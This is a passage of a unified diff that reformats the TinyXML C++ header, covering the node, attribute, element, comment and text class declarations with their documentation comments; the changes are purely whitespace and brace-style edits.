this node lives in. - Returns null if not in a document. - */ - const TiXmlDocument* GetDocument() const; - TiXmlDocument* GetDocument() { - return const_cast< TiXmlDocument* >( (const_cast< const TiXmlNode* >(this))->GetDocument() ); - } + /** Return a pointer to the Document this node lives in. + Returns null if not in a document. + */ + const TiXmlDocument* GetDocument() const; + TiXmlDocument* GetDocument() { + return const_cast< TiXmlDocument* >( (const_cast< const TiXmlNode* >(this))->GetDocument() ); + } - /// Returns true if this node has no children. - bool NoChildren() const { return !firstChild; } + /// Returns true if this node has no children. + bool NoChildren() const { + return !firstChild; + } - virtual const TiXmlDocument* ToDocument() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual const TiXmlElement* ToElement() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual const TiXmlComment* ToComment() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual const TiXmlUnknown* ToUnknown() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual const TiXmlText* ToText() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual const TiXmlDeclaration* ToDeclaration() const { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual const TiXmlDocument* ToDocument() const { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual const TiXmlElement* ToElement() const { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual const TiXmlComment* ToComment() const { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual const TiXmlUnknown* ToUnknown() const { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual const TiXmlText* ToText() const { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual const TiXmlDeclaration* ToDeclaration() const { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } - virtual TiXmlDocument* ToDocument() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual TiXmlElement* ToElement() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual TiXmlComment* ToComment() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual TiXmlUnknown* ToUnknown() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual TiXmlText* ToText() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. - virtual TiXmlDeclaration* ToDeclaration() { return 0; } ///< Cast to a more defined type. Will return null if not of the requested type. + virtual TiXmlDocument* ToDocument() { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual TiXmlElement* ToElement() { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual TiXmlComment* ToComment() { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual TiXmlUnknown* ToUnknown() { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual TiXmlText* ToText() { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } + virtual TiXmlDeclaration* ToDeclaration() { + return 0; ///< Cast to a more defined type. Will return null if not of the requested type. + } - /** Create an exact duplicate of this node and return it. The memory must be deleted - by the caller. - */ - virtual TiXmlNode* Clone() const = 0; + /** Create an exact duplicate of this node and return it. The memory must be deleted + by the caller. + */ + virtual TiXmlNode* Clone() const = 0; - /** Accept a hierchical visit the nodes in the TinyXML DOM. Every node in the - XML tree will be conditionally visited and the host will be called back - via the TiXmlVisitor interface. + /** Accept a hierchical visit the nodes in the TinyXML DOM. Every node in the + XML tree will be conditionally visited and the host will be called back + via the TiXmlVisitor interface. - This is essentially a SAX interface for TinyXML. (Note however it doesn't re-parse - the XML for the callbacks, so the performance of TinyXML is unchanged by using this - interface versus any other.) + This is essentially a SAX interface for TinyXML. (Note however it doesn't re-parse + the XML for the callbacks, so the performance of TinyXML is unchanged by using this + interface versus any other.) - The interface has been based on ideas from: + The interface has been based on ideas from: - - http://www.saxproject.org/ - - http://c2.com/cgi/wiki?HierarchicalVisitorPattern + - http://www.saxproject.org/ + - http://c2.com/cgi/wiki?HierarchicalVisitorPattern - Which are both good references for "visiting". + Which are both good references for "visiting". - An example of using Accept(): - @verbatim - TiXmlPrinter printer; - tinyxmlDoc.Accept( &printer ); - const char* xmlcstr = printer.CStr(); - @endverbatim - */ - virtual bool Accept( TiXmlVisitor* visitor ) const = 0; + An example of using Accept(): + @verbatim + TiXmlPrinter printer; + tinyxmlDoc.Accept( &printer ); + const char* xmlcstr = printer.CStr(); + @endverbatim + */ + virtual bool Accept( TiXmlVisitor* visitor ) const = 0; protected: - TiXmlNode( NodeType _type ); + TiXmlNode( NodeType _type ); - // Copy to the allocated object. Shared functionality between Clone, Copy constructor, - // and the assignment operator. - void CopyTo( TiXmlNode* target ) const; + // Copy to the allocated object. Shared functionality between Clone, Copy constructor, + // and the assignment operator. + void CopyTo( TiXmlNode* target ) const; - #ifdef TIXML_USE_STL - // The real work of the input operator. - virtual void StreamIn( std::istream* in, TIXML_STRING* tag ) = 0; - #endif +#ifdef TIXML_USE_STL + // The real work of the input operator. + virtual void StreamIn( std::istream* in, TIXML_STRING* tag ) = 0; +#endif - // Figure out what is at *p, and parse it. Returns null if it is not an xml node. - TiXmlNode* Identify( const char* start, TiXmlEncoding encoding ); + // Figure out what is at *p, and parse it. Returns null if it is not an xml node. + TiXmlNode* Identify( const char* start, TiXmlEncoding encoding ); - TiXmlNode* parent; - NodeType type; + TiXmlNode* parent; + NodeType type; - TiXmlNode* firstChild; - TiXmlNode* lastChild; + TiXmlNode* firstChild; + TiXmlNode* lastChild; - TIXML_STRING value; + TIXML_STRING value; - TiXmlNode* prev; - TiXmlNode* next; + TiXmlNode* prev; + TiXmlNode* next; private: - TiXmlNode( const TiXmlNode& ); // not implemented. - void operator=( const TiXmlNode& base ); // not allowed. + TiXmlNode( const TiXmlNode& ); // not implemented. + void operator=( const TiXmlNode& base ); // not allowed. }; @@ -778,115 +874,135 @@ private: part of the tinyXML document object model. There are other suggested ways to look at this problem. */ -class TiXmlAttribute : public TiXmlBase -{ - friend class TiXmlAttributeSet; +class TiXmlAttribute : public TiXmlBase { + friend class TiXmlAttributeSet; public: - /// Construct an empty attribute. - TiXmlAttribute() : TiXmlBase() - { - document = 0; - prev = next = 0; - } + /// Construct an empty attribute. + TiXmlAttribute() : TiXmlBase() { + document = 0; + prev = next = 0; + } - #ifdef TIXML_USE_STL - /// std::string constructor. - TiXmlAttribute( const std::string& _name, const std::string& _value ) - { - name = _name; - value = _value; - document = 0; - prev = next = 0; - } - #endif +#ifdef TIXML_USE_STL + /// std::string constructor. + TiXmlAttribute( const std::string& _name, const std::string& _value ) { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } +#endif - /// Construct an attribute with a name and value. - TiXmlAttribute( const char * _name, const char * _value ) - { - name = _name; - value = _value; - document = 0; - prev = next = 0; - } + /// Construct an attribute with a name and value. + TiXmlAttribute( const char * _name, const char * _value ) { + name = _name; + value = _value; + document = 0; + prev = next = 0; + } - const char* Name() const { return name.c_str(); } ///< Return the name of this attribute. - const char* Value() const { return value.c_str(); } ///< Return the value of this attribute. - #ifdef TIXML_USE_STL - const std::string& ValueStr() const { return value; } ///< Return the value of this attribute. - #endif - int IntValue() const; ///< Return the value of this attribute, converted to an integer. - double DoubleValue() const; ///< Return the value of this attribute, converted to a double. + const char* Name() const { + return name.c_str(); ///< Return the name of this attribute. + } + const char* Value() const { + return value.c_str(); ///< Return the value of this attribute. + } +#ifdef TIXML_USE_STL + const std::string& ValueStr() const { + return value; ///< Return the value of this attribute. + } +#endif + int IntValue() const; ///< Return the value of this attribute, converted to an integer. + double DoubleValue() const; ///< Return the value of this attribute, converted to a double. - // Get the tinyxml string representation - const TIXML_STRING& NameTStr() const { return name; } + // Get the tinyxml string representation + const TIXML_STRING& NameTStr() const { + return name; + } - /** QueryIntValue examines the value string. It is an alternative to the - IntValue() method with richer error checking. - If the value is an integer, it is stored in 'value' and - the call returns TIXML_SUCCESS. If it is not - an integer, it returns TIXML_WRONG_TYPE. + /** QueryIntValue examines the value string. It is an alternative to the + IntValue() method with richer error checking. + If the value is an integer, it is stored in 'value' and + the call returns TIXML_SUCCESS. If it is not + an integer, it returns TIXML_WRONG_TYPE. - A specialized but useful call. Note that for success it returns 0, - which is the opposite of almost all other TinyXml calls. - */ - int QueryIntValue( int* _value ) const; - /// QueryDoubleValue examines the value string. See QueryIntValue(). - int QueryDoubleValue( double* _value ) const; + A specialized but useful call. Note that for success it returns 0, + which is the opposite of almost all other TinyXml calls. + */ + int QueryIntValue( int* _value ) const; + /// QueryDoubleValue examines the value string. See QueryIntValue(). + int QueryDoubleValue( double* _value ) const; - void SetName( const char* _name ) { name = _name; } ///< Set the name of this attribute. - void SetValue( const char* _value ) { value = _value; } ///< Set the value. + void SetName( const char* _name ) { + name = _name; ///< Set the name of this attribute. + } + void SetValue( const char* _value ) { + value = _value; ///< Set the value. + } - void SetIntValue( int _value ); ///< Set the value from an integer. - void SetDoubleValue( double _value ); ///< Set the value from a double. + void SetIntValue( int _value ); ///< Set the value from an integer. + void SetDoubleValue( double _value ); ///< Set the value from a double. - #ifdef TIXML_USE_STL - /// STL std::string form. - void SetName( const std::string& _name ) { name = _name; } - /// STL std::string form. - void SetValue( const std::string& _value ) { value = _value; } - #endif +#ifdef TIXML_USE_STL + /// STL std::string form. + void SetName( const std::string& _name ) { + name = _name; + } + /// STL std::string form. + void SetValue( const std::string& _value ) { + value = _value; + } +#endif - /// Get the next sibling attribute in the DOM. Returns null at end. - const TiXmlAttribute* Next() const; - TiXmlAttribute* Next() { - return const_cast< TiXmlAttribute* >( (const_cast< const TiXmlAttribute* >(this))->Next() ); - } + /// Get the next sibling attribute in the DOM. Returns null at end. + const TiXmlAttribute* Next() const; + TiXmlAttribute* Next() { + return const_cast< TiXmlAttribute* >( (const_cast< const TiXmlAttribute* >(this))->Next() ); + } - /// Get the previous sibling attribute in the DOM. Returns null at beginning. - const TiXmlAttribute* Previous() const; - TiXmlAttribute* Previous() { - return const_cast< TiXmlAttribute* >( (const_cast< const TiXmlAttribute* >(this))->Previous() ); - } + /// Get the previous sibling attribute in the DOM. Returns null at beginning. + const TiXmlAttribute* Previous() const; + TiXmlAttribute* Previous() { + return const_cast< TiXmlAttribute* >( (const_cast< const TiXmlAttribute* >(this))->Previous() ); + } - bool operator==( const TiXmlAttribute& rhs ) const { return rhs.name == name; } - bool operator<( const TiXmlAttribute& rhs ) const { return name < rhs.name; } - bool operator>( const TiXmlAttribute& rhs ) const { return name > rhs.name; } + bool operator==( const TiXmlAttribute& rhs ) const { + return rhs.name == name; + } + bool operator<( const TiXmlAttribute& rhs ) const { + return name < rhs.name; + } + bool operator>( const TiXmlAttribute& rhs ) const { + return name > rhs.name; + } - /* Attribute parsing starts: first letter of the name - returns: the next char after the value end quote - */ - virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + /* Attribute parsing starts: first letter of the name + returns: the next char after the value end quote + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); - // Prints this Attribute to a FILE stream. - virtual void Print( FILE* cfile, int depth ) const { - Print( cfile, depth, 0 ); - } - void Print( FILE* cfile, int depth, TIXML_STRING* str ) const; + // Prints this Attribute to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const { + Print( cfile, depth, 0 ); + } + void Print( FILE* cfile, int depth, TIXML_STRING* str ) const; - // [internal use] - // Set the document pointer so the attribute can report errors. - void SetDocument( TiXmlDocument* doc ) { document = doc; } + // [internal use] + // Set the document pointer so the attribute can report errors. + void SetDocument( TiXmlDocument* doc ) { + document = doc; + } private: - TiXmlAttribute( const TiXmlAttribute& ); // not implemented. - void operator=( const TiXmlAttribute& base ); // not allowed. + TiXmlAttribute( const TiXmlAttribute& ); // not implemented. + void operator=( const TiXmlAttribute& base ); // not allowed. - TiXmlDocument* document; // A pointer back to a document, for error reporting. - TIXML_STRING name; - TIXML_STRING value; - TiXmlAttribute* prev; - TiXmlAttribute* next; + TiXmlDocument* document; // A pointer back to a document, for error reporting. + TIXML_STRING name; + TIXML_STRING value; + TiXmlAttribute* prev; + TiXmlAttribute* next; }; @@ -902,36 +1018,43 @@ private: - I like circular lists - it demonstrates some independence from the (typical) doubly linked list. */ -class TiXmlAttributeSet -{ +class TiXmlAttributeSet { public: - TiXmlAttributeSet(); - ~TiXmlAttributeSet(); + TiXmlAttributeSet(); + ~TiXmlAttributeSet(); - void Add( TiXmlAttribute* attribute ); - void Remove( TiXmlAttribute* attribute ); + void Add( TiXmlAttribute* attribute ); + void Remove( TiXmlAttribute* attribute ); - const TiXmlAttribute* First() const { return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; } - TiXmlAttribute* First() { return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; } - const TiXmlAttribute* Last() const { return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; } - TiXmlAttribute* Last() { return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; } + const TiXmlAttribute* First() const { + return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; + } + TiXmlAttribute* First() { + return ( sentinel.next == &sentinel ) ? 0 : sentinel.next; + } + const TiXmlAttribute* Last() const { + return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; + } + TiXmlAttribute* Last() { + return ( sentinel.prev == &sentinel ) ? 0 : sentinel.prev; + } - TiXmlAttribute* Find( const char* _name ) const; - TiXmlAttribute* FindOrCreate( const char* _name ); + TiXmlAttribute* Find( const char* _name ) const; + TiXmlAttribute* FindOrCreate( const char* _name ); # ifdef TIXML_USE_STL - TiXmlAttribute* Find( const std::string& _name ) const; - TiXmlAttribute* FindOrCreate( const std::string& _name ); + TiXmlAttribute* Find( const std::string& _name ) const; + TiXmlAttribute* FindOrCreate( const std::string& _name ); # endif private: - //*ME: Because of hidden/disabled copy-construktor in TiXmlAttribute (sentinel-element), - //*ME: this class must be also use a hidden/disabled copy-constructor !!! - TiXmlAttributeSet( const TiXmlAttributeSet& ); // not allowed - void operator=( const TiXmlAttributeSet& ); // not allowed (as TiXmlAttribute) + //*ME: Because of hidden/disabled copy-construktor in TiXmlAttribute (sentinel-element), + //*ME: this class must be also use a hidden/disabled copy-constructor !!! + TiXmlAttributeSet( const TiXmlAttributeSet& ); // not allowed + void operator=( const TiXmlAttributeSet& ); // not allowed (as TiXmlAttribute) - TiXmlAttribute sentinel; + TiXmlAttribute sentinel; }; @@ -939,266 +1062,280 @@ private: and can contain other elements, text, comments, and unknowns. Elements also contain an arbitrary number of attributes. */ -class TiXmlElement : public TiXmlNode -{ +class TiXmlElement : public TiXmlNode { public: - /// Construct an element. - TiXmlElement (const char * in_value); + /// Construct an element. + TiXmlElement (const char * in_value); - #ifdef TIXML_USE_STL - /// std::string constructor. - TiXmlElement( const std::string& _value ); - #endif +#ifdef TIXML_USE_STL + /// std::string constructor. + TiXmlElement( const std::string& _value ); +#endif - TiXmlElement( const TiXmlElement& ); + TiXmlElement( const TiXmlElement& ); - TiXmlElement& operator=( const TiXmlElement& base ); + TiXmlElement& operator=( const TiXmlElement& base ); - virtual ~TiXmlElement(); + virtual ~TiXmlElement(); - /** Given an attribute name, Attribute() returns the value - for the attribute of that name, or null if none exists. - */ - const char* Attribute( const char* name ) const; + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + */ + const char* Attribute( const char* name ) const; - /** Given an attribute name, Attribute() returns the value - for the attribute of that name, or null if none exists. - If the attribute exists and can be converted to an integer, - the integer value will be put in the return 'i', if 'i' - is non-null. - */ - const char* Attribute( const char* name, int* i ) const; + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an integer, + the integer value will be put in the return 'i', if 'i' + is non-null. + */ + const char* Attribute( const char* name, int* i ) const; - /** Given an attribute name, Attribute() returns the value - for the attribute of that name, or null if none exists. - If the attribute exists and can be converted to an double, - the double value will be put in the return 'd', if 'd' - is non-null. - */ - const char* Attribute( const char* name, double* d ) const; + /** Given an attribute name, Attribute() returns the value + for the attribute of that name, or null if none exists. + If the attribute exists and can be converted to an double, + the double value will be put in the return 'd', if 'd' + is non-null. + */ + const char* Attribute( const char* name, double* d ) const; - /** QueryIntAttribute examines the attribute - it is an alternative to the - Attribute() method with richer error checking. - If the attribute is an integer, it is stored in 'value' and - the call returns TIXML_SUCCESS. If it is not - an integer, it returns TIXML_WRONG_TYPE. If the attribute - does not exist, then TIXML_NO_ATTRIBUTE is returned. - */ - int QueryIntAttribute( const char* name, int* _value ) const; - /// QueryUnsignedAttribute examines the attribute - see QueryIntAttribute(). - int QueryUnsignedAttribute( const char* name, unsigned* _value ) const; - /** QueryBoolAttribute examines the attribute - see QueryIntAttribute(). - Note that '1', 'true', or 'yes' are considered true, while '0', 'false' - and 'no' are considered false. - */ - int QueryBoolAttribute( const char* name, bool* _value ) const; - /// QueryDoubleAttribute examines the attribute - see QueryIntAttribute(). - int QueryDoubleAttribute( const char* name, double* _value ) const; - /// QueryFloatAttribute examines the attribute - see QueryIntAttribute(). - int QueryFloatAttribute( const char* name, float* _value ) const { - double d; - int result = QueryDoubleAttribute( name, &d ); - if ( result == TIXML_SUCCESS ) { - *_value = (float)d; - } - return result; - } + /** QueryIntAttribute examines the attribute - it is an alternative to the + Attribute() method with richer error checking. + If the attribute is an integer, it is stored in 'value' and + the call returns TIXML_SUCCESS. If it is not + an integer, it returns TIXML_WRONG_TYPE. If the attribute + does not exist, then TIXML_NO_ATTRIBUTE is returned. + */ + int QueryIntAttribute( const char* name, int* _value ) const; + /// QueryUnsignedAttribute examines the attribute - see QueryIntAttribute(). + int QueryUnsignedAttribute( const char* name, unsigned* _value ) const; + /** QueryBoolAttribute examines the attribute - see QueryIntAttribute(). + Note that '1', 'true', or 'yes' are considered true, while '0', 'false' + and 'no' are considered false. + */ + int QueryBoolAttribute( const char* name, bool* _value ) const; + /// QueryDoubleAttribute examines the attribute - see QueryIntAttribute(). + int QueryDoubleAttribute( const char* name, double* _value ) const; + /// QueryFloatAttribute examines the attribute - see QueryIntAttribute(). + int QueryFloatAttribute( const char* name, float* _value ) const { + double d; + int result = QueryDoubleAttribute( name, &d ); + if ( result == TIXML_SUCCESS ) { + *_value = (float)d; + } + return result; + } - #ifdef TIXML_USE_STL - /// QueryStringAttribute examines the attribute - see QueryIntAttribute(). - int QueryStringAttribute( const char* name, std::string* _value ) const { - const char* cstr = Attribute( name ); - if ( cstr ) { - *_value = std::string( cstr ); - return TIXML_SUCCESS; - } - return TIXML_NO_ATTRIBUTE; - } +#ifdef TIXML_USE_STL + /// QueryStringAttribute examines the attribute - see QueryIntAttribute(). + int QueryStringAttribute( const char* name, std::string* _value ) const { + const char* cstr = Attribute( name ); + if ( cstr ) { + *_value = std::string( cstr ); + return TIXML_SUCCESS; + } + return TIXML_NO_ATTRIBUTE; + } - /** Template form of the attribute query which will try to read the - attribute into the specified type. Very easy, very powerful, but - be careful to make sure to call this with the correct type. + /** Template form of the attribute query which will try to read the + attribute into the specified type. Very easy, very powerful, but + be careful to make sure to call this with the correct type. - NOTE: This method doesn't work correctly for 'string' types that contain spaces. + NOTE: This method doesn't work correctly for 'string' types that contain spaces. - @return TIXML_SUCCESS, TIXML_WRONG_TYPE, or TIXML_NO_ATTRIBUTE - */ - template< typename T > int QueryValueAttribute( const std::string& name, T* outValue ) const - { - const TiXmlAttribute* node = attributeSet.Find( name ); - if ( !node ) - return TIXML_NO_ATTRIBUTE; + @return TIXML_SUCCESS, TIXML_WRONG_TYPE, or TIXML_NO_ATTRIBUTE + */ + template< typename T > int QueryValueAttribute( const std::string& name, T* outValue ) const { + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; - std::stringstream sstream( node->ValueStr() ); - sstream >> *outValue; - if ( !sstream.fail() ) - return TIXML_SUCCESS; - return TIXML_WRONG_TYPE; - } + std::stringstream sstream( node->ValueStr() ); + sstream >> *outValue; + if ( !sstream.fail() ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; + } - int QueryValueAttribute( const std::string& name, std::string* outValue ) const - { - const TiXmlAttribute* node = attributeSet.Find( name ); - if ( !node ) - return TIXML_NO_ATTRIBUTE; - *outValue = node->ValueStr(); - return TIXML_SUCCESS; - } - #endif + int QueryValueAttribute( const std::string& name, std::string* outValue ) const { + const TiXmlAttribute* node = attributeSet.Find( name ); + if ( !node ) + return TIXML_NO_ATTRIBUTE; + *outValue = node->ValueStr(); + return TIXML_SUCCESS; + } +#endif - /** Sets an attribute of name to a given value. The attribute - will be created if it does not exist, or changed if it does. - */ - void SetAttribute( const char* name, const char * _value ); + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const char* name, const char * _value ); - #ifdef TIXML_USE_STL - const std::string* Attribute( const std::string& name ) const; - const std::string* Attribute( const std::string& name, int* i ) const; - const std::string* Attribute( const std::string& name, double* d ) const; - int QueryIntAttribute( const std::string& name, int* _value ) const; - int QueryDoubleAttribute( const std::string& name, double* _value ) const; +#ifdef TIXML_USE_STL + const std::string* Attribute( const std::string& name ) const; + const std::string* Attribute( const std::string& name, int* i ) const; + const std::string* Attribute( const std::string& name, double* d ) const; + int QueryIntAttribute( const std::string& name, int* _value ) const; + int QueryDoubleAttribute( const std::string& name, double* _value ) const; - /// STL std::string form. - void SetAttribute( const std::string& name, const std::string& _value ); - ///< STL std::string form. - void SetAttribute( const std::string& name, int _value ); - ///< STL std::string form. - void SetDoubleAttribute( const std::string& name, double value ); - #endif + /// STL std::string form. + void SetAttribute( const std::string& name, const std::string& _value ); + ///< STL std::string form. + void SetAttribute( const std::string& name, int _value ); + ///< STL std::string form. + void SetDoubleAttribute( const std::string& name, double value ); +#endif - /** Sets an attribute of name to a given value. The attribute - will be created if it does not exist, or changed if it does. - */ - void SetAttribute( const char * name, int value ); + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetAttribute( const char * name, int value ); - /** Sets an attribute of name to a given value. The attribute - will be created if it does not exist, or changed if it does. - */ - void SetDoubleAttribute( const char * name, double value ); + /** Sets an attribute of name to a given value. The attribute + will be created if it does not exist, or changed if it does. + */ + void SetDoubleAttribute( const char * name, double value ); - /** Deletes an attribute with the given name. - */ - void RemoveAttribute( const char * name ); - #ifdef TIXML_USE_STL - void RemoveAttribute( const std::string& name ) { RemoveAttribute (name.c_str ()); } ///< STL std::string form. - #endif + /** Deletes an attribute with the given name. + */ + void RemoveAttribute( const char * name ); +#ifdef TIXML_USE_STL + void RemoveAttribute( const std::string& name ) { + RemoveAttribute (name.c_str ()); ///< STL std::string form. + } +#endif - const TiXmlAttribute* FirstAttribute() const { return attributeSet.First(); } ///< Access the first attribute in this element. - TiXmlAttribute* FirstAttribute() { return attributeSet.First(); } - const TiXmlAttribute* LastAttribute() const { return attributeSet.Last(); } ///< Access the last attribute in this element. - TiXmlAttribute* LastAttribute() { return attributeSet.Last(); } + const TiXmlAttribute* FirstAttribute() const { + return attributeSet.First(); ///< Access the first attribute in this element. + } + TiXmlAttribute* FirstAttribute() { + return attributeSet.First(); + } + const TiXmlAttribute* LastAttribute() const { + return attributeSet.Last(); ///< Access the last attribute in this element. + } + TiXmlAttribute* LastAttribute() { + return attributeSet.Last(); + } - /** Convenience function for easy access to the text inside an element. Although easy - and concise, GetText() is limited compared to getting the TiXmlText child - and accessing it directly. + /** Convenience function for easy access to the text inside an element. Although easy + and concise, GetText() is limited compared to getting the TiXmlText child + and accessing it directly. - If the first child of 'this' is a TiXmlText, the GetText() - returns the character string of the Text node, else null is returned. + If the first child of 'this' is a TiXmlText, the GetText() + returns the character string of the Text node, else null is returned. - This is a convenient method for getting the text of simple contained text: - @verbatim - This is text - const char* str = fooElement->GetText(); - @endverbatim + This is a convenient method for getting the text of simple contained text: + @verbatim + This is text + const char* str = fooElement->GetText(); + @endverbatim - 'str' will be a pointer to "This is text". + 'str' will be a pointer to "This is text". - Note that this function can be misleading. If the element foo was created from - this XML: - @verbatim - This is text - @endverbatim + Note that this function can be misleading. If the element foo was created from + this XML: + @verbatim + This is text + @endverbatim - then the value of str would be null. The first child node isn't a text node, it is - another element. From this XML: - @verbatim - This is text - @endverbatim - GetText() will return "This is ". + then the value of str would be null. The first child node isn't a text node, it is + another element. From this XML: + @verbatim + This is text + @endverbatim + GetText() will return "This is ". - WARNING: GetText() accesses a child node - don't become confused with the - similarly named TiXmlHandle::Text() and TiXmlNode::ToText() which are - safe type casts on the referenced node. - */ - const char* GetText() const; + WARNING: GetText() accesses a child node - don't become confused with the + similarly named TiXmlHandle::Text() and TiXmlNode::ToText() which are + safe type casts on the referenced node. + */ + const char* GetText() const; - /// Creates a new Element and returns it - the returned element is a copy. - virtual TiXmlNode* Clone() const; - // Print the Element to a FILE stream. - virtual void Print( FILE* cfile, int depth ) const; + /// Creates a new Element and returns it - the returned element is a copy. + virtual TiXmlNode* Clone() const; + // Print the Element to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; - /* Attribtue parsing starts: next char past '<' - returns: next char past '>' - */ - virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + /* Attribtue parsing starts: next char past '<' + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); - virtual const TiXmlElement* ToElement() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. - virtual TiXmlElement* ToElement() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual const TiXmlElement* ToElement() const { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } + virtual TiXmlElement* ToElement() { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept( TiXmlVisitor* visitor ) const; + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* visitor ) const; protected: - void CopyTo( TiXmlElement* target ) const; - void ClearThis(); // like clear, but initializes 'this' object as well + void CopyTo( TiXmlElement* target ) const; + void ClearThis(); // like clear, but initializes 'this' object as well - // Used to be public [internal use] - #ifdef TIXML_USE_STL - virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); - #endif - /* [internal use] - Reads the "value" of the element -- another element, or text. - This should terminate with the current end tag. - */ - const char* ReadValue( const char* in, TiXmlParsingData* prevData, TiXmlEncoding encoding ); + // Used to be public [internal use] +#ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); +#endif + /* [internal use] + Reads the "value" of the element -- another element, or text. + This should terminate with the current end tag. + */ + const char* ReadValue( const char* in, TiXmlParsingData* prevData, TiXmlEncoding encoding ); private: - TiXmlAttributeSet attributeSet; + TiXmlAttributeSet attributeSet; }; /** An XML comment. */ -class TiXmlComment : public TiXmlNode -{ +class TiXmlComment : public TiXmlNode { public: - /// Constructs an empty comment. - TiXmlComment() : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) {} - /// Construct a comment from text. - TiXmlComment( const char* _value ) : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) { - SetValue( _value ); - } - TiXmlComment( const TiXmlComment& ); - TiXmlComment& operator=( const TiXmlComment& base ); + /// Constructs an empty comment. + TiXmlComment() : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) {} + /// Construct a comment from text. + TiXmlComment( const char* _value ) : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) { + SetValue( _value ); + } + TiXmlComment( const TiXmlComment& ); + TiXmlComment& operator=( const TiXmlComment& base ); - virtual ~TiXmlComment() {} + virtual ~TiXmlComment() {} - /// Returns a copy of this Comment. - virtual TiXmlNode* Clone() const; - // Write this Comment to a FILE stream. - virtual void Print( FILE* cfile, int depth ) const; + /// Returns a copy of this Comment. + virtual TiXmlNode* Clone() const; + // Write this Comment to a FILE stream. + virtual void Print( FILE* cfile, int depth ) const; - /* Attribtue parsing starts: at the ! of the !-- - returns: next char past '>' - */ - virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); + /* Attribtue parsing starts: at the ! of the !-- + returns: next char past '>' + */ + virtual const char* Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ); - virtual const TiXmlComment* ToComment() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. - virtual TiXmlComment* ToComment() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual const TiXmlComment* ToComment() const { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } + virtual TiXmlComment* ToComment() { + return this; ///< Cast to a more defined type. Will return null not of the requested type. + } - /** Walk the XML tree visiting this node and all of its children. - */ - virtual bool Accept( TiXmlVisitor* visitor ) const; + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* visitor ) const; protected: - void CopyTo( TiXmlComment* target ) const; + void CopyTo( TiXmlComment* target ) const; - // used to be public - #ifdef TIXML_USE_STL - virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); - #endif + // used to be public +#ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); +#endif // virtual void StreamOut( TIXML_OSTREAM * out ) const; private: @@ -1211,63 +1348,73 @@ private: you generally want to leave it alone, but you can change the output mode with SetCDATA() and query it with CDATA(). */ -class TiXmlText : public TiXmlNode -{ - friend class TiXmlElement; +class TiXmlText : public TiXmlNode { + friend class TiXmlElement; public: - /** Constructor for text element. By default, it is treated as - normal, encoded text. If you want it be output as a CDATA text - element, set the parameter _cdata to 'true' - */ - TiXmlText (const char * initValue ) : TiXmlNode (TiXmlNode::TINYXML_TEXT) - { - SetValue( initValue ); - cdata = false; - } - virtual ~TiXmlText() {} + /** Constructor for text element. By default, it is treated as + normal, 